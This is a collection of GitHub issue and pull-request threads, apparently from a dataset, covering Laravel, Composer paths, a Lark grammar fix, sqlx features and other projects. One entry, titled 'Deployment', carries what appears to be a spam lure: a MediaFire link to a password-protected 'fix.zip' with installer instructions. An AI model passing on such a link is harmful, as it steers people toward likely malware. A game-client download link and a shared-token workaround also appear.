text:
Support For Laravel 10

ERROR  There are no commands defined in the "reverb" namespace.
I know upgrading to Laravel 11 would be a simple solution but if its not much of work support for laravel 10 would be great for large applications in production.
The Problem:
command does not work in Laravel 10.
php artisan install:broadcasting
Looks like laravel/framework v10.48.16 does not contain the BroadcastingInstallCommand class. Therefore, it won't install.
https://github.com/laravel/framework/tree/10.x/src/Illuminate/Foundation/Console

Hey @mudassirmaqbool Laravel 10 is supported, but the install process is a little more manual since, as you mentioned, the install:broadcasting command is not available.
You can find Laravel 10 installation instructions here: https://laravel.com/docs/10.x/reverb#main-content

authors: joedixon mudassirmaqbool

repo: laravel/reverb


text:
Check for readonly properties

In this old issue https://github.com/opis/closure/issues/28 I had a problem with readonly properties so they fixed it with this https://github.com/opis/closure/compare/3.1.5...3.1.6 though this ($property->getDeclaringClass()->isUserDefined()) isn't needed for PHP >= 8.1, you can just skip the readonly properties like https://github.com/laravel/serializable-closure/pull/87

Thanks @RV7PR. @rust17 could this be an alternative implementation?

I believe these are two separate issues.
The $property->getDeclaringClass()->isUserDefined() method solves the Cannot write property problem, whereas $property->isReadOnly() deals with the Cannot modify readonly property issue. As you can see, the opis/closure encounters the Cannot modify readonly property issue during unserialization, similar to what was reported in https://github.com/laravel/framework/issues/51877.
Therefore, I don't think this is an alternative solution.
Additionally, this line of code($property->getDeclaringClass()->isUserDefined()) is already present in laravel/serializable-closure: https://github.com/laravel/serializable-closure/blob/master/src/Serializers/Native.php#L371.

Thanks @rust17

source: gharchive/issue

repo: laravel/serializable-closure

license: MIT

license_type: permissive

license_source: github-api


text:
.composer folder not created fix

Make sure that .composer folder exist.

Why would it not be created after installing Composer?

For some reason now composer is uses .config/composer/ instead of .composer, I didn't looked it up but in my machine i use .config/composer/.

So what does this addition actually fix? Sorry, trying to understand. If Composer uses a new directory why do we create this one?

well you may don't have this issue on OSX but with ubuntu the default home for composer is .config/composer, and i used to have .composer as COMPOSER_HOME dir and most php guys still do.

I did these steps and was not able to reproduce this.

vagrant box add bento/ubuntu-14.04
Opened virtualbox and imported the box.
sudo apt-get update
sudo apt-get install curl php5-cli
curl -sS https://getcomposer.org/installer | php

Tried with php7.0-cli too.

How are you getting ${COMPOSER_HOME} to be ${HOME}/.config/.composer?

Yes, you are right with this way installing composer, but did you try to use the provision.sh?
In other words try to create a vagrant machine using the current provisioning scripts
here is the output of the console when it is downloading and installing composer:

==> default: All settings correct for using Composer
==> default: Downloading...
==> default:
==> default: Composer successfully installed to: /home/vagrant/composer.phar
==> default:
==> default: Use it: php composer.phar
==> default:
==> default: PATH="/home/vagrant/.composer/vendor/bin:$PATH"
==> default: Changed current directory to /home/vagrant/.config/composer

and after installing ssh to the new machine

and ls to your .config

Don't know if this worth checking or not but i saw a lot of my friends who are using homestead are facing a problem that their composer global are not working, but the thing they don't know that the home_dir path is set to .composer in .profile instead of .config/composer and thats why it seems to be broken to them.

what i think now is changing the line from
printf "\nPATH=\"/home/vagrant/.composer/vendor/bin:\$PATH\"\n" | tee -a /home/vagrant/.profile
to
printf "\nPATH=\"/home/vagrant/.config/composer/vendor/bin:\$PATH\"\n" | tee -a /home/vagrant/.profile
this is better i think !!

Hmm you're right. How about this:

printf "\nPATH=\"$(composer config -g home 2>/dev/null)/vendor/bin:\$PATH\"\n" | tee -a /home/vagrant/.profile

I just had this issue, where i had to change the path in the ~/.profile

@alexbowers in your .profile find the line
PATH="/home/vagrant/.composer/vendor/bin:$PATH"
replace it with
PATH="/home/vagrant/.config/composer/vendor/bin:$PATH"

Yeah i've fixed, just pointing out that it is an issue and needs merging in :)

Looks good to me.

source: gharchive/pull-request

authors: alexbowers andrewhood125 ibrahimmomani taylorotwell

repo: laravel/settler

license: mit

license_source: bigquery


text:
Deployment

User Story
As a boot camp student,
I want the pre-work notes to be structured on a webpage,
So that I can easily find and read the information.
Acceptance Criteria
GIVEN a pre-work Study Guide website,
WHEN I visit the website using the URL,
THEN I can access my website from any browser

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

repo: larimae/prework-study-guide


text:
Fix python.number pattern

Python doesn't accept numbers with the _ in the beginning/end and numbers with more than one _ in the allowed places:
>>> 69420
69420
>>> 69_420
69420
>>> 69__420
  File "<stdin>", line 1
    69__420
      ^
SyntaxError: invalid decimal literal
>>> 69_420_
  File "<stdin>", line 1
    69_420_
          ^
SyntaxError: invalid decimal literal
>>> _69_420
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name '_69_420' is not defined

>>> 03.1415
3.1415
>>> 0_3.14_15
3.1415
>>> 0__3.14_15
  File "<stdin>", line 1
    0__3.14_15
     ^
SyntaxError: invalid decimal literal
>>> 0_3.14__15
  File "<stdin>", line 1
    0_3.14__15
          ^
SyntaxError: invalid decimal literal
>>> 0_3.14_15_
  File "<stdin>", line 1
    0_3.14_15_
             ^
SyntaxError: invalid decimal literal
>>> 0_3._14_15
  File "<stdin>", line 1
    0_3._14_15
       ^
SyntaxError: invalid decimal literal
>>> 0_3_.14_15
  File "<stdin>", line 1
    0_3_.14_15
       ^
SyntaxError: invalid decimal literal
>>> _0_3.14_15
  File "<stdin>", line 1
    _0_3.14_15
    ^^^^^^^^^^
SyntaxError: invalid syntax. Perhaps you forgot a comma?

the same goes with complex numbers. And yes, python recognizes _xxx as a name, even though x is a digit, but it's still not a number, so this doesn't affect us.
The current implementation only filters numbers with _ in the beginning, so here's the fix for the other cases.

Hopefully, we still can make backward-incompatible changes, so it's fine to change IMAG_NUMBER to COMPLEX_NUMBER
I also tested \d(?:_?\d+)* for DEC_NUMBER but haven't seen any significant performance changes (everything is within the normal range, considering that I was not using a stable environment).

Thanks! I'll have a look.

Hopefully, we still can make backward-incompatible changes

We don't need to be backward-compatible with bugs :)

This pattern
FLOAT_NUMBER.2: (DEC_NUMBER "." DEC_NUMBER? | "." DEC_NUMBER) (("E" | "e") ["+" | "-"] DEC_NUMBER)?
              | DEC_NUMBER (("E" | "e") ["+" | "-"] DEC_NUMBER)?

cannot parse 5.0_8e-6 it recognizes 5.0 as float, then sees _ and tries to continue parsing new terminal(?)/rule but there's none that starts with _, so it fails
If I change it to
FLOAT_NUMBER.2: (DEC_NUMBER "." DEC_NUMBER? | "." DEC_NUMBER)
              | (DEC_NUMBER "." DEC_NUMBER? | "." DEC_NUMBER) (("E" | "e") ["+" | "-"] DEC_NUMBER)
              | DEC_NUMBER (("E" | "e") ["+" | "-"] DEC_NUMBER)?

then everything works fine.
The reason is regexp, because if I use
DIGIT: "0".."9"

DEC_NUMBER: "0" | DIGIT ("_" DIGIT | DIGIT)*

instead of previously used
DEC_NUMBER: /0|\d(?:_?\d)*/i

than both patterns for FLOAT_NUMBER works as intended.

This seems unintentional and therefore worth investigation.
@MegaIng @erezsh should I create an issue for that?

ok, so I adapted tests from cpython
here's a successful one
0_0_0
4_2
1_0000_0000
0b1001_0100
0xffff_ffff
0o5_7_7
1_00_00.5
1_00_00.5e5
1_00_00e5_1
1e1_0
.1_4
.1_4e1
0b_0
0x_f
0o_5
1_00_00j
1_00_00.5j
1_00_00e5_1j
.1_4j
1_2.5+3_3j
.5_6j

0
0xffffffffffffffff
0Xffffffffffffffff
0o77777777777777777
0O77777777777777777
123456789012345678901234567890
0b100000000000000000000000000000000000000000000000000000000000000000000
0B111111111111111111111111111111111111111111111111111111111111111111111

0j
123456789012345678901234567890j

3.14
314.
0.314
000.314
.314
3e14
3E14
3e-14
3e+14
3.e14
.3e14
3.1e4

3.14j
314.j
0.314j
000.314j
.314j
3e14j
3E14j
3e-14j
3e+14j
3.e14j
.3e14j
3.1e4j

ok, now the pr is tested and ready for review, and if everything is fine ready for merge!
If anyone could spot untested case, just write it here, I'll add it to the message and test it

ok, now the pr is tested and ready for review, and if everything is fine ready for merge!
If anyone could spot an untested case, just write it here, I'll add it to this comment and test it

Mind creating a new test_python_grammar with unittest inside the tests folder? If you (and maybe we as well) put so much effort into it, we should also test it to make sure it doesn't break.
If you don't want to create the unittest, I will do it.
Also, the reason I didn't add those tests till now is because I didn't manage to find CPython's tests for their parser. Where did you find them?

Also, the reason I didn't add those tests till now is because I didn't manage to find CPython's tests for their parser. Where did you find them?

Well, currently Python uses PEG parser generator, so you may be interested in checking it's tests, there's such things like tests for match cases (I know you're trying to megre pr with them)
Cpython also have it's own tests and all of them live in the Lib/test. I myself took cases from test_int.py
and test_grammar.py.
(It's definitely not the most rigorous testing, for example there's test_float.py or test_complex.py and I probably should add test cases from there...)

Mind creating a new test_python_grammar with unittest inside the tests folder?

oh, ok, python.lark don't have a start inside, I was just worried that if I just use, for example, file_input* as start then nothing would work ...

No start also matches the behavior of the actual python grammar: Depending on what exactly you want to parse, use file_input (without *), eval_input or single_input

No start also matches the behavior of the actual python grammar: Depending on what exactly you want to parse, use file_input (without *), eval_input or single_input

there's bug, if I use file_input and put only one stmt (like 5), then the parser will break ...
it even can't parse
if x:
    5

and even if it could I'd still wouldn't rely on that and test each rule\terminal one-by-one

Are you putting a newline at the end?

Are you putting a newline at the end?

I shouldn't have to

It's the same weird obligation that actual python grammar also has. The point is that any higher level parsing function can just always append a newline with no loss.
The problem is that it becomes annoying to express the correct behavior when you can't rely on every line ending in a newline.

@0dminnimda It's not ideal, but making the last newline optional requires support for the EOF feature, which we're keeping back because the existing implementation has issues. It would also make the parser a little heavier, so it's not all positive, even if it worked.

@erezsh ok, it looks like we are now ready to merge, I'm waiting for you.

I wonder why you chose to test by specifying a different start for each number format, instead of just starting from number and making sure the result is the right token type?
The latter approach also has the advantage of testing for collision in token regexp/priority.

I wonder why you chose to test by specifying a different start for each number format, instead of just starting from number and making sure the result is the right token type?

I didn't think about this approach.
It seems better, gonna implement it

@erezsh I updated tests, any other comments?

@erezsh could you please review and possibly merge this PR?

@0dminnimda Looks fine. But please rebase it. It should be at most 3 commits, instead of 23.
(I can rebase it for you, if you prefer)

(I can rebase it for you, if you prefer)

Why not squash and merge?

@0dminnimda Squash is done by rebasing, no? Either way, whatever gets it down to a few commits.

Squash is done by rebasing, no?

No and that's the point.

Either way, whatever gets it down to a few commits.

Well yeah, probably one commit is the best option

Ok, @MegaIng do you have any other comments?

Ok, now we're probably ready to merge, @erezsh

Rebased and merged: https://github.com/lark-parser/lark/commit/2ec9636fad34ec43456b637c7c14cfa0de95a1a6

Thanks for the PR!

Rebased and merged: 2ec9636

Yeah, that's why I was talking about squash and merge, because commit that'll end up in the repo gonna be assigned to me, you know, fair credit/blame distribution

Sorry, I do the merges via the shell, because I want to run extra tests on the way, and fix up any remaining issues.
The commits are still signed to your name, and now the merge commit will xref to this PR.

The commits are still signed to your name. So you will still get both credit and blame

Huh, that's true. I'm sorry, I was confused by 2ec9636fad34ec43456b637c7c14cfa0de95a1a6, but apparently there are 518bd3ae976261f8052f18ad6d17961dfd5b107c and 553eb41b538c410e305a3137645166356a8c9b94, so everything is fine, I guess :)

No worries. I'll check if there's a way to connect the merge to a PR from the shell, for next time. After all, I want contributors to feel appreciated and rewarded. (as much as open source allows :)

authors: 0dminnimda MegaIng erezsh

repo: lark-parser/lark


text:
增加模版引擎支持

默认支持 ejs

基于 koa-views  开发，这个基于官方 co-views，算是有官方支持。

目前ejs的代码在--harmony 下有 bug，无法运行。原因是变量的多次声明。已经提了 pr，等待被 merge

koa-views 目前由于目录问题，不能直接在 lark 中使用，已经提了 pr，不知道会不会被 merge。
如果官方不打算 merge，我会fork 过来，把问题修复后，编程 lark-views

koa-views 官方觉得作为一个 koa 中间件，没有必要添加这个功能。所以会基于 co-views 开发 lark-views

没有看到 benchmark 不知道性能咋样

这个只是对各种模板引擎的简单封装，没有太多性能消耗。最底层是 tj 的consolidate.js，应该还好。

#48

Done

authors: demohi zezhou

repo: larkjs/lark


text:
Run test using "bazel test" instead of "bazel run"

This allows tests to be interleaved with building code which has the potential to speedup CI: https://docs.bazel.build/versions/2.0.0/user-manual.html#test
This also unifies how we run tests on CI to make it more consistent.

I originally chose for run because it shows more output. I've had occasions
where the CI logs didn't show what I needed because of 'test'. The parallel
building is nicer though, so if it really speeds up CI then I'm in favor of
test :+1:

This allows tests to be interleaved with building code which has the potential to speedup CI: https://docs.bazel.build/versions/2.0.0/user-manual.html#test
This also unifies how we run tests on CI to make it more consistent.

the main reason we use run instead of test is that the qemu tests actually are executed through a bash script not with the a testsuite directly. @Tombana also mentioned thats also why you would not see the outputs properly even by setting the --test_output=all flag.

Makes sense. Closing

authors: Tombana arashb lgeiger

repo: larq/compute-engine


text:
In Landscape mode, when using Split View multitasking, ad container is wrong. (found fix!)

So, what's happening is that your code checks if it is landscape or portrait, then if landscape, takes the larger of the height and width as the height.  If the user is in landscape, but is using split view (therefore, height is larger than width), the iAd container gets the wrong result and the container starts floating in the middle.
I'm not sure why this logic exists; it seems like, if the user is in landscape, you can simply use the height as height, right?  So, I tweaked your code to remove this logic.  I commented out two lines and replace them with my lines beneath them.  This is the part I modified.
Let me know if there's anything wrong with it?  This is in LARSAdController.m .
- (CGRect)containerFrameForInterfaceOrientation:(UIInterfaceOrientation)orientation
                            withPinningLocation:(LARSAdControllerPinLocation)pinningLocation {
    //TODO: Modify height so that the container does not contain any whitespace above ad.
    //This will enable others to add a background to the container (a la weather channel app).
    CGFloat width;
    CGFloat yOrigin = 0.f;

    CGFloat parentWidth = CGRectGetWidth(self.parentView.frame);
    CGFloat parentHeight = CGRectGetHeight(self.parentView.frame);

    if (UIInterfaceOrientationIsLandscape(orientation)) {
        TOLLog(@"View is landscape");

        if (pinningLocation == LARSAdControllerPinLocationBottom) {
            //yOrigin = MIN(parentHeight, parentWidth);
            yOrigin = parentHeight;
        }
        //width = MAX(parentHeight, parentWidth);
        width = parentWidth;

        self.lastOrientationWasPortrait = NO;
    }

It's been several years since I wrote this logic, but if I remember correctly, it's because I was having an issue with handling rotation for all cases/platforms. I'm sure a lot of things have changed/been fixed since I wrote this particular section. :smile: Specifically, in iOS 7 or so, your application's window no longer had a transform applied to it, and the window's frame returned the correct values regardless of orientation. This was not always the case in older versions of iOS, though, which is probably what you're seeing here.
:beers:

Are there any plans to port the orientation checks to proper trait collection handling?

This works great! Thank You for the fix. Any plans to merge this in via PR?

authors: CHPraxis Querschlag larsacus mikemike396

repo: larsacus/LARSAdController


text:
ABAPGit with private repository

Hi,
is it possible to use abapgit online projects with private Github repositories? unfortunately i am currently not able to test it. ( my current company does not want to install the needed certificate ).
Want to set up github as our first place for code reviewing and versioning, therefor it would be perfect if we can use it directly with online projects.

yes, it works

And I would suggest installing a ABAP developer edition so you can test such things on your own. Don't be dependent on others :-).

It's quite unusual that companys allow to connect their SAP ABAP systems to public GitHub. So my guess is that the missing certificates aren't the only problem.
Therefore maybe you can (re)use an internal git server? Or even set up your own? GitLab and abapGitServer are open source ;-)

What if the place to put the repos are not in github.com but in an github enterprise server? AFAIS the login methods are different ( enterprise server is redirects to company login page ) and github.com is hardcoded in ABAPGIT

@plato79 I assume you are thinking about 2FA?
In ZCL_ABAPGIT_2FA_GITHUB_AUTH note the IV_OVERRIDE parameter which you can use in custom subclasses.
just subclass the BASE 2FA class, and they are found dynamically
https://github.com/larshp/abapGit/blob/5018eae46cbc559ede07ba7ef6ce1569ca691a65/src/http/zcl_abapgit_2fa_auth_registry.clas.abap#L66

If you are thinking about SAML, the workaround is to add an outside collaborator with a token
And then its possible to set this user + token, which just grants everybody access,
  METHOD zif_abapgit_exit~http_client.

    IF iv_url CP 'https://enterprisegithub'.
      ii_client->request->set_header_field(
        name  = 'authorization'
        value = '' ).

      ii_client->authenticate(
        username = 'username'
        password = 'token' ).
    ENDIF.

  ENDMETHOD.

I used to have repos in the enterprise server and they worked OK. Maybe you will need a proxy.

You could see what I mean by visiting this address:
https://git.daimler.com
It opens company's WhoIsWho enterprise login page, and if it authorizes you it goes back to the git.daimler.com.

This is a classic SAML authentication which works fine when the client is a browser. Have you checked how the command line Git client handles this? Does it pop-up with a browser let you authenticate and then use this session? Because then you would have an option via exports from abapGit to a local directory.

Well it doesn't work like that it seems..
On an external computer it tries to connect but unable to do it:
Looking up git.daimler.com ... done.
Connecting to git.daimler.com (port 9418) ... fatal: unable to connect to git.daimler.com:
git.daimler.com[0: 141.113.0.105]: errno=Operation timed out

On a computer within the domain it pops up a basic authentication prompt, entering domain user/password doesn't work.. If you cancel it it asks the same information on command line, again domain user/password doesn't work.. If you try to login with domain user/password it gives this information:
remote: Password authentication is not available for Git operations.
remote: You must use a personal access token or SSH key.
remote: See https://git.daimler.com/settings/tokens or https://git.daimler.com/settings/ssh
fatal: unable to access 'https://git.daimler.com/#######/######/': The requested URL returned error: 403

With a generated token though git command line clones repo without problem but only for a computer within the domain. With a computer over internet it gives this error:
Looking up ####@git.daimler.com ... fatal: Unable to look up ###@git.daimler.com (port 9418) (nodename nor servname provided, or not known)

I want to access git.daimler.com via abapgit, but without a manual token authorization it doesn't seem likely.. Our SAP systems are within domain but I'm not sure if they'll be recognized like our computers, some servers are using SNC but again I'm not sure if that'll be enough, or even if it is then what will happen for servers not using SNC?

I would suggest opening an internal support ticket for the git service and asking them.

@plato79 no problem ;)
Thanks everyone, I think I've got an idea how to solve this.

If I have a solution which is applicable for everyone I'll create a PR for this.

authors: DennstedtB EduardoCopat christianguenter2 gregorwolf larshp plato79

repo: larshp/abapGit


text:
TBC 2.4.3. Backport?

What kind of investment of time do you think would be required to get this compatible?

I have no idea. I didn't make addons back then, and core components like how to make actionbars and unitframes were very different.
I do however plan to download a TBC client and take a look. If it's doable to backport (without going crazy in the process) I'll do it. :)
I have no ETA, though. Currently on vacation, and will be back infront of my computer in 4 days. So we'll see then. :)

Win Client Download
https://mega.nz/#!VsMhkJYA!1IMFcWxvILz7eXzHcyp_R9Lb7SSOCgcRE_qfdoHPHZg
Forum Account Creation
http://looking4group.eu/hellfire/member.php?action=register
Ingame Account Creation
http://looking4group.eu/accreg_old/
Here is a nice list of wowservers too
https://www.reddit.com/r/wowservers/comments/37b5ir/wow_private_servers_list/
Well I really hope the backport isn't to crazy. I hope you had a great vacation in Poland!

Any status on Vanilla or TBC?

authors: Maggew larsnorbergofficial

repo: larsnorbergofficial/DiabolicUI


text:
[Question] Semi-Dynamic Pages (for a Blog) from Data File

I had no trouble creating multi-page website but can you guys give me a hint on how to implement a blog using this generator?
I know how to use data files and how to iterate over them so I can easily create an overview page with all of the blog entries. But how would I proceed to implement sub-pages for this blog to show each individual item from my data file?
The only thing I can imagine is to create a gulp task which reads my data file and creates .jade files out of it.

me too..
help

.. Technically not quite what we're looking for since it's not as automated as i'd like, but a step in the right direction. Right now i'm setting a variable in the data file for each entry that pulls in a uniquely named template partial.
{% include '_layouts/test-content/' + val.hash + '.nunjucks' %}
One of those.. ugly.. but sort of works type solutions for now. It generates the rest of the surrounding content, but pulls in that entry specific content into the main body.

I would just implement your own gulp build task that handles this separately.  There’s no way to do this with the current generators.

authors: felixyin heitzke tfohlmeister xizhao

repo: larsonjj/generator-yeogurt


text:
Update embedded-kafka to 3.5.0

About this PR
📦 Updates io.github.embeddedkafka:embedded-kafka from 3.4.1 to 3.5.0
📜 GitHub Release Notes - Version Diff
Usage
✅ Please merge!
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

⚙ Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "io.github.embeddedkafka", artifactId = "embedded-kafka" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "30 days" },
  dependency = { groupId = "io.github.embeddedkafka", artifactId = "embedded-kafka" }
}]

labels: test-library-update, early-semver-minor, semver-spec-minor, commit-count:1

Superseded by #1229

Superseded by #1245.

authors: scala-steward sirocchj

repo: laserdisc-io/tamer


text:
uninitialized constant Gretel (NameError)

I'm getting /Users/lassebunk/dev/tmp/ogtest/config/initializers/breadcrumbs.rb:1: uninitialized constant Gretel (NameError)
Could anyone help figure this out?
Thanks in advance,
/Lasse

Figured it out – needed to create lib/gretel.rb

repo: lassebunk/gretel


text:
shfmt ignores config file

To config shfmt style, I added .editorconfig in the same folder of a foo.sh file. When running command line shfmt foo.sh, the output follows the style defined in .editorconfig. However, the format-all-buffer command ignores the style config file.

foo.sh (four spaces indentation)
f() {
    echo hello
}

content of .editorconfig
[*.sh]
indent_style = space
indent_size = 2

output of shfmt foo.sh (two spaces)
f() {
  echo hello
}

after M-x format-all-buffer (eight spaces)
f() {
	echo hello
}

Thanks for reporting the bug. If you do shfmt < foo.sh in the shell (note the < sign) how many spaces does it use?

Aha. It's probably because you have a [*.sh] filename pattern in your .editorconfig. Format-all runs all formatters so that they read from stdin and write to stdout, so it does not give shfmt a filename. Then shfmt doesn't know that it should use the [*.sh] section of the config.

In order to fix this problem in format-all, a new command line flag needs to be added to shfmt. I sent them a feature request about it.

shfmt's maintainer was kind enough to add a -filename flag! I'll wait for a new shfmt release and then fix this problem in format-all.

Looking forward to this feature, thanks!

Also eagerly anticipating this feature!

The -filename flag is still not in the latest release 3.1.2. It looks like a 3.2.0 release is just around the corner: https://github.com/mvdan/sh/milestone/18

authors: haoyuan80s jsmestad lassik

repo: lassik/emacs-format-all-the-code


text:
Broken with PHP > 5 ?

It seem to be broken with PHP > 5
Test case :
ideone => PHP 5.6
codepad => PHP 5.2

Finally not broken, but maybe a configuration where the result seem to be different !
I don't know why, where and how to look for this difference ! ! !

Seems like a problem with PHP on some 32bit systems.
If integer operations overflow the PHP_INT_MAX value it will be converted to float ( http://php.net/manual/en/language.types.integer.php ) incurring on precision error.
I will look on a solution based on an arbitrary precision extension.

yes it is !
I have found it !
but, too late . . . :-( this doesn’t help you .
Many thanks.

authors: DontShootMe lastguest

repo: lastguest/murmurhash-php


text:
Replace EntityID/ EntityIndex with native JavaScript Symbol

Credit for this proposal goes to @holic
Current situation

We're currently distinguishing between EntityID and EntityIndex on the client. EntityID is the entity's uint256 value converted to a hex string, EntityIndex is a client only number referring to the entity's index in the client World's entities array.
The reason for this split is that we want to use entity ids as keys in our client components, but storing the raw hex string would cause a lot unnecessary memory usage (as the full id string would be duplicated in every component it is used as a key)
However, this split frequently causes confusion and converting back and forth between index/id is inconvenient and requires access to the World object

Proposal

Use JavaScript's native Symbol feature instead of a local mapping from id to index
Symbols use a native global registry to map from number or string to symbol, and can be used to efficiently index objects/maps

Usage
// ------- NEW -------
function entityToSymbol(entity: string) {
   return Symbol.for(entity);
}

function symbolToEntity(entitySymbol: symbol) {
   return Symbol.keyFor(entitySymbol);
}

// ------- OLD -------
function entityToIndex(entity: string, world: World) {
   return world.entityToIndex.get(entity);
}

function indexToEntity(entityIndex: number, world: World) {
   return world[entityIndex];
}

Note how this is a pure util and doesn't require access to the world object. We could go one step further and automate the conversion from entity to symbol and back within all MUD utils / components so devs never have to think about it.

Detailed symbol behavior
const a = Symbol("0x00")
// undefined

const b = Symbol("0x00")
// undefined

const c = Symbol.for("0x00")
// undefined

const d = Symbol.for("0x00")
// undefined

a == b
// false

a == c
// false

c == d
// true

Symbol.keyFor(a)
// undefined

Symbol.keyFor(c)
// '0x00'

I wonder if it'd be worth stress testing this idea using OPCraft, since there's a lot of entities in there. We'd probably be able to quickly measure performance and memory requirements.

There are times when I want to define a client-only entity. At the moment they are incompatible with recs components so I am using five JS Maps to store them. For example: const spriteRegistry = new Map<string | number, Phaser.GameObjects.Sprite>();
This feels like an antipattern. I would like a way to define a native MUD recs component that can have any TS type and isn't indexed by EntityIndex -- instead it is indexed by a string.
This leads me to think EntityIndex should be a string instead of an abstracted number (I'm not sure if symbol would also be compatible with these requirements), and that the current system of using an enum of Solidity-friendly types is too inflexible for more complex applications.
Tangentially related is that the custom component schema (defining a custom T) doesn't currently work when using Recs systems. Should this be a separate issue?

authors: 0xhank alvrs holic

repo: latticexyz/mud


text:
wip: make e2e infrastructure more extendable

This PR changes the end-to-end test setup to allow us to add a lot of test cases for many different schemas without having to touch test files or write custom systems.

Adding utils to write contract data (by calling world.setRecord on the client with the test data)
Adding utils to read client state to confirm the state sync was successful (by reading directly from the client's datastore which is exposed on window)

Note: this doesn't include tests for dynamic schema types yet, because we're missing typescript utils to encode dynamic data to the bytes blob expected by world.setRecord. (So far we never needed to encode data on the client, since this usually happens in the autogenerated Solidity table libraries, but in this case we want to call world.setRecord directly from the client, so we need to encode the data on the client).

Current dependencies on/for this PR:

main

PR #1063

PR #1064   👈

This comment was auto-generated by Graphite.

So far we never needed to encode data on the client, since this usually happens in the autogenerated Solidity table libraries, but in this case we want to call world.setRecord directly from the client, so we need to encode the data on the client

I'm not sure we want test-only ways to call tables that bypass systems, since that doesn't reflect how MUD is actually used. An alternative would be to dynamically make tables at the config level and autogenerate systems that wrap them (a postTablegen hook?)
Though testing the protocol (setRecord etc) from the client isn't exactly bad either

I'm not sure we want test-only ways to call tables that bypass systems, since that doesn't reflect how MUD is actually used. An alternative would be to dynamically make tables at the config level and autogenerate systems that wrap them (a postTablegen hook?)
Though testing the protocol (setRecord etc) from the client isn't exactly bad either

Yeah I think we should have both! This set of integration tests aims to make sure the sync pipeline works as expected - i think for this it would even be fine to set data directly via a contract call in the test, but setting it via the client was equally straight forward and goes one step further. In addition to that we should have a test for calling contract systems and checking the expected state updates are received by the client.
The latter was basically what the previous test case did, maybe we should just keep it in addition to the new state sync tests.


text:
Consider changing this to sha256

https://github.com/launchableinc/cli/blob/54c740a849367f8468316c381833e49790240efb/launchable/utils/session.py#L18
Reason: even though this is not an insecure use of this hash, the fact that we use sha1 is a thing that would be easier to not to have to explain to a prospect/customer, especially if they're running this on their premises. It may make the infosec story easier to explain if we don't have to talk about it.

found via sonarqube

We fixed not to use this method. So, I close this issue

authors: Konboi ctennis

repo: launchableinc/cli


text:
uuid feature pulls in database specific code

Bug Description
When including sqlx with no features but uuid, it will pull in database specific dependencies (e.g. sqlx-postgres, sqlx-sqlite and sqlx-mysql
Minimal Reproduction
Create an empty crate with only the following dependency, build/check and look into Cargo.lock:
sqlx = { version = "0.7.4", default-features = false, features = ["uuid"] }

I get the following entry in my Cargo.lock:
[[package]]
name = "sqlx"
version = "0.7.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c9a2ccff1a000a5a59cd33da541d9f2fdcd9e6e8229cc200565942bff36d0aaa"
dependencies = [
 "sqlx-core",
 "sqlx-macros",
 "sqlx-mysql",
 "sqlx-postgres",
 "sqlx-sqlite",
]

Info

SQLx version: 0.7.4
SQLx features enabled: uuid
Database server and version: not applicable
Operating system: Linux
rustc --version: 1.77.2

Known issue, see #3211

Sorry I missed this and didn't look further for other issues...

authors: abonander vbrandl

repo: launchbadge/sqlx


text:
json feature affects serde_json configuration

I'm trying to use sqlx with json feature enabled in the same project where serde_json is already in use.
Enabling json feature in sqlx finally results in preserve_order activated for serde_json for the whole project. And it may be unacceptable for some cases.
https://github.com/launchbadge/sqlx/blob/v0.4.2/Cargo.toml#L90
https://github.com/launchbadge/sqlx/blob/v0.4.2/sqlx-macros/Cargo.toml#L67
What is the reason to force preserve_order in serde_json? Can it be not forced?
I have a draft for potential fix: separate feature without forcing preserve_order. https://github.com/jovfer/sqlx/commit/0f58bd756ecdd2e683c6e866a322ce22c5719561
Please let me know if it may be useful and I should raise a PR.

It's turned on in the macros, for a semi-stupid reason. When deserializing the sqlx-data.json it expects the db key to come first. I'm not entirely sure the preserve_order feature is necessary for this, however. Go ahead and open the PR, but please test with cargo sqlx prepare and SQLX_OFFLINE=1 as I don't think we cover that flow in CI.

Shouldn't the new feature resolver in Cargo fix this? It isolates the build graph for proc-macro crates.

@abonander thanks for clarification
@mehcode sounds interesting, I'm not familiar with the latest changes in Cargo. I'll take a look on release notes and try..

@mehcode

Shouldn't the new feature resolver in Cargo fix this? It isolates the build graph for proc-macro crates

According to cargo documentation new resolver allows
* Ignores features for target-specific dependencies for targets that don't match the current compile target.
* Prevents features enabled on build dependencies or proc-macros from being enabled for normal dependencies.
* Prevents features enabled on dev dependencies from being enabled for normal dependencies.

I don't see anything about different build graphs. Most probable it will not help. I tried to build with resolver=2 and nightly compiler, but behavior is the same.

When deserializing the sqlx-data.json it expects the db key to come first. I'm not entirely sure the preserve_order feature is necessary for this

As i understand you are talking about https://github.com/launchbadge/sqlx/blob/master/sqlx-cli/src/prepare.rs . I quickly checked the code and don't see anything related to ordering of json keys. I plan send PR with just removed preserve_ordering feature and try to additionally test sqlx-cli.

See https://github.com/launchbadge/sqlx/pull/1071

I quickly checked the code and don't see anything related to ordering of json keys.

Specifically, this bit of the actual query macros code that looks for the query data in sqlx-data.json: https://github.com/launchbadge/sqlx/blob/master/sqlx-macros/src/query/data.rs#L158-L163
This code is designed to avoid scanning the whole file by stopping once it's found the db key and the key corresponding to the hash for the query string of the current macro invocation. If it doesn't see the db key before finding the hash key it's looking for, then it will return an error.
This implicit assumption of ordering should be fine as we serialize with a struct which should mean the ordering is the same as the field definitions: https://github.com/launchbadge/sqlx/blob/master/sqlx-cli/src/prepare.rs#L20-L24
However, when I wrote that code I was concerned that #[serde(flatten)] may futz with the ordering because I'd seen in generated code that it may sometimes collect fields to a map internally, although it turns out this is only done when deserializing a flattened field, and it uses a Vec.
So my concerns were likely unfounded but that's why I asked that anyone attempting it to be sure to test it because we don't test the offline feature in CI very well (to my knowledge).

authors: abonander jovfer mehcode vimmerru


text:
Version 2.3.5 seems to have much increased processor use

After installing 2.3.5, my average CPU load increased from 2% to 4% (yes, may sound low overall, but is actually a 100% increase due to a single add-on).
Zooming in on the graphs, it seems some task is now using 10% CPU load every 5 minutes. This increase coincided with the install of 2.3.5, so would be great if you could take a look at it.

